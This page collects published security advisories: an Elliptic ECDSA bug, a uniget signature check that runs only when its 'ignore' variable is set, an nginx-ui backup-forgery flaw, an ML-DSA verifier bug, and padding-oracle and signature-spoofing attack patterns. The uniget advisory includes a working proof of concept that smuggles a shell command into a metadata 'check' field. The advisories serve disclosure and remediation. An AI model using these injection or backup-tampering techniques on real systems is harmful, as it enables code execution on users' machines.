GHSA-FC9H-WHQ2-V747
Vulnerability from github – Published: 2024-10-15 15:30 – Updated: 2025-11-27 08:43The Elliptic prior to 6.6.0 for Node.js, in its for ECDSA implementation, does not correctly verify valid signatures if the hash contains at least four leading 0 bytes and when the order of the elliptic curve's base point is smaller than the hash, because of an _truncateToN anomaly. This leads to valid signatures being rejected. Legitimate transactions or communications may be incorrectly flagged as invalid.

GHSA-FHGH-WQ4Q-R37X
Vulnerability from github – Published: 2026-08-17 17:50 – Updated: 2026-08-17 17:50Summary
The sigstore check on metadata.json is gated on the wrong side of the condition. LoadMetadata in internal/config/update.go:81 verifies the bundle only when UNIGET_IGNORE_METADATA_SIGNATURE is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named "ignore the signature" is what turns verification on.
That matters because metadata.json populates Tool.Check, and pkg/tool/tool.go:250 runs Tool.Check through /bin/bash -c. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.
Where it is
internal/config/update.go:80-100:
func (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {
if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 {
_, err = security.VerifySigstoreBundle(
filename,
filename+".sigstore.json",
...
)
if err != nil {
return nil, fmt.Errorf("error verifying sigstore bundle for metadata: %s", err)
}
}
loadedTools, err = tool.LoadFromFile(filename)
cmd/uniget/main.go:102-105 carries the same flipped condition in the decision about whether to re-download metadata:
if !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()) ||
configuration.AutoUpdate ||
(len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 &&
!myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()+".sigstore.json")) {
so a cached metadata.json with no .sigstore.json beside it is not refetched either, as long as the variable is unset.
LoadMetadata is called from cmd/uniget/main.go:115 in the persistent pre-run, which means every subcommand loads metadata this way. The sink is pkg/tool/tool.go:248-251:
func (tool *Tool) RunVersionCheck() (string, error) {
logging.Tracef("Running version check for %s: %s", tool.Name, tool.Check)
cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
How it got this way
The check was introduced correctly. In d12ef12c ("fix: Only accept signed metadata", released as v0.27.1) VerifySigstoreBundle was called unconditionally. 370d0155 then wrapped it in if os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE") != "true", which is still the right polarity. b68a27d5 ("fix: Accept any non-empty value"), which is the commit tagged v0.27.4, rewrote that as if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0. The intent was clearly to accept any truthy value instead of the literal string "true", but the negation was dropped in the rewrite and the meaning flipped.
Proof of concept
Built from a clean checkout of the v0.28.2 tag with go build -o /tmp/unigetbin ./cmd/uniget, then run in user mode against a poisoned cache with no metadata.json.sigstore.json present and UNIGET_IGNORE_METADATA_SIGNATURE explicitly removed from the environment.
H=/tmp/pochome
mkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil
cat > $H/.cache/uniget/metadata.json <<'EOF'
{"tools":[{"name":"evil","version":"1.0.0","binary":"${target}/bin/evil",
"check":"id > /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"],
"description":"poisoned metadata","repository":"https://example.com",
"license":{"name":"MIT","link":"https://example.com"},
"sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]}
EOF
printf '#!/bin/sh\necho 1.0.0\n' > $H/.local/bin/evil; chmod +x $H/.local/bin/evil
touch $H/.cache/uniget/evil/1.0.0
env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \
XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
/tmp/unigetbin --user version evil
Observed output:
PWNED
and /tmp/uniget-rce-proof.txt contains the output of id. No signature error was raised, even though there is no bundle file at all.
The control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a metadata.json.sigstore.json exists (deliberately not a valid bundle) and the "ignore" variable is set:
echo '{"not":"a real bundle"}' > $H/.cache/uniget/metadata.json.sigstore.json
UNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \
XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
/tmp/unigetbin --user version evil
Observed output:
Error: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field "not"
So verification runs when the ignore variable is set, and does not run when it is unset.
Impact
Anything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for uniget-org/tools, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and /bin/bash -c, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user.
Suggested fix
Invert the condition so verification is the default and the environment variable opts out:
if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) == 0 {
_, err = security.VerifySigstoreBundle(...)
...
}
The same inversion is needed at cmd/uniget/main.go:104, where the re-download decision should be "the bundle is missing and we are not ignoring signatures". It would also be worth failing closed when the .sigstore.json file is absent rather than treating a missing bundle as nothing to verify.
Deduplication
CVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the tool.Check command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.
How I found it and a note on tooling
I was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach RunVersionCheck, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.

"details": "## Summary\n\nThe sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named \"ignore the signature\" is what turns verification on.\n\nThat matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.\n\n## Where it is\n\n`internal/config/update.go:80-100`:\n\n```go\nfunc (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {\n\tif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 {\n\t\t_, err = security.VerifySigstoreBundle(\n\t\t\tfilename,\n\t\t\tfilename+\".sigstore.json\",\n\t\t\t...\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error verifying sigstore bundle for metadata: %s\", err)\n\t\t}\n\t}\n\n\tloadedTools, err = tool.LoadFromFile(filename)\n```\n\n`cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata:\n\n```go\nif !myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()) ||\n\tconfiguration.AutoUpdate ||\n\t(len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0 \u0026\u0026\n\t\t!myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()+\".sigstore.json\")) {\n```\n\nso a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset.\n\n`LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`:\n\n```go\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n\tlogging.Tracef(\"Running version check for %s: %s\", tool.Name, tool.Check)\n\tcmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d \u0027\\n\u0027\")\n```\n\n## How it got this way\n\nThe check was introduced correctly. In d12ef12c (\"fix: Only accept signed metadata\", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\") != \"true\"`, which is still the right polarity. b68a27d5 (\"fix: Accept any non-empty value\"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) \u003e 0`. The intent was clearly to accept any truthy value instead of the literal string \"true\", but the negation was dropped in the rewrite and the meaning flipped.\n\n## Proof of concept\n\nBuilt from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment.\n\n```bash\nH=/tmp/pochome\nmkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil\ncat \u003e $H/.cache/uniget/metadata.json \u003c\u003c\u0027EOF\u0027\n{\"tools\":[{\"name\":\"evil\",\"version\":\"1.0.0\",\"binary\":\"${target}/bin/evil\",\n\"check\":\"id \u003e /tmp/uniget-rce-proof.txt; echo PWNED\",\"tags\":[\"test\"],\n\"description\":\"poisoned metadata\",\"repository\":\"https://example.com\",\n\"license\":{\"name\":\"MIT\",\"link\":\"https://example.com\"},\n\"sources\":[{\"registry\":\"ghcr.io\",\"repository\":\"uniget-org/tools\"}]}]}\nEOF\nprintf \u0027#!/bin/sh\\necho 1.0.0\\n\u0027 \u003e $H/.local/bin/evil; chmod +x $H/.local/bin/evil\ntouch $H/.cache/uniget/evil/1.0.0\n\nenv -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \\\n XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nPWNED\n```\n\nand `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all.\n\nThe control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a `metadata.json.sigstore.json` exists (deliberately not a valid bundle) and the \"ignore\" variable is set:\n\n```bash\necho \u0027{\"not\":\"a real bundle\"}\u0027 \u003e $H/.cache/uniget/metadata.json.sigstore.json\nUNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \\\n XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nError: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field \"not\"\n```\n\nSo verification runs when the ignore variable is set, and does not run when it is unset.\n\n## Impact\n\nAnything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for `uniget-org/tools`, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and `/bin/bash -c`, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user.\n\n## Suggested fix\n\nInvert the condition so verification is the default and the environment variable opts out:\n\n```go\nif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) == 0 {\n\t_, err = security.VerifySigstoreBundle(...)\n\t...\n}\n```\n\nThe same inversion is needed at `cmd/uniget/main.go:104`, where the re-download decision should be \"the bundle is missing and we are not ignoring signatures\". It would also be worth failing closed when the `.sigstore.json` file is absent rather than treating a missing bundle as nothing to verify.\n\n## Deduplication\n\nCVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the `tool.Check` command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.\n\n## How I found it and a note on tooling\n\nI was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach `RunVersionCheck`, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it.

Vulnerability from github – Published: 2026-03-30 16:23 – Updated: 2026-07-06 19:35Summary
The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.
Details
The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hash_info.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.
Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.
The backup system is built around the following workflow:
- Backup files are compressed into
nginx-ui.zipandnginx.zip. - The files are encrypted using AES-256-CBC.
- SHA-256 hashes of the encrypted files are stored in
hash_info.txt. - The hash file is also encrypted with the same AES key and IV.
- The AES key and IV are provided to the client as a "backup security token".
This architecture creates a circular trust model:
- The encryption key is available to the client.
- The integrity metadata is encrypted with that same key.
- The restore process trusts hashes contained within the backup itself.
Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.
Environment
- OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)
- Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)
- Deployment: Docker Container default installation
- Relevant Source Files:
backup_crypto.gobackup.gorestore.goSystemRestoreContent.vue
PoC
-
Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the
.keyfile. -
Decrypt the
nginx-ui.ziparchive using the obtained token.

-
Upload the tampered backup to the
nginx-uirestore interface. -
Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.
Impact
An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.
Potential impacts include:
- Persistent configuration tampering
- Backdoor insertion into nginx configuration
- Execution of attacker-controlled commands depending on configuration settings
- Full compromise of the nginx-ui instance
The severity depends on the restore permissions and deployment configuration.
Recommended Mitigation
- Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include:
- Signing backup metadata using a server-side private key
-
Storing integrity metadata separately from the backup archive
-
Enforce integrity verification The restore operation must abort if hash verification fails.
-
Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.
-
Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.
This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.
Regression
The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.
The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.
As a result, the fundamental integrity weakness remains exploitable even after the previous fix.

GHSA-FHVH-VW7H-9XF3
Vulnerability from github – Published: 2026-05-19 16:18 – Updated: 2026-05-19 16:18The AVX2 implementation of ML-DSA verification incorrectly implemented
the use_hint function, mishandling an edge case that should lead to
signature rejection.
Impact
An attacker could make the ML-DSA verifier accept a crafted invalid signature under a maliciously generated verification key, if the AVX2 implementation is used.
Mitigation
From version 0.0.9 the edge case is handled correctly and invalid
signatures are rejected.

CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.
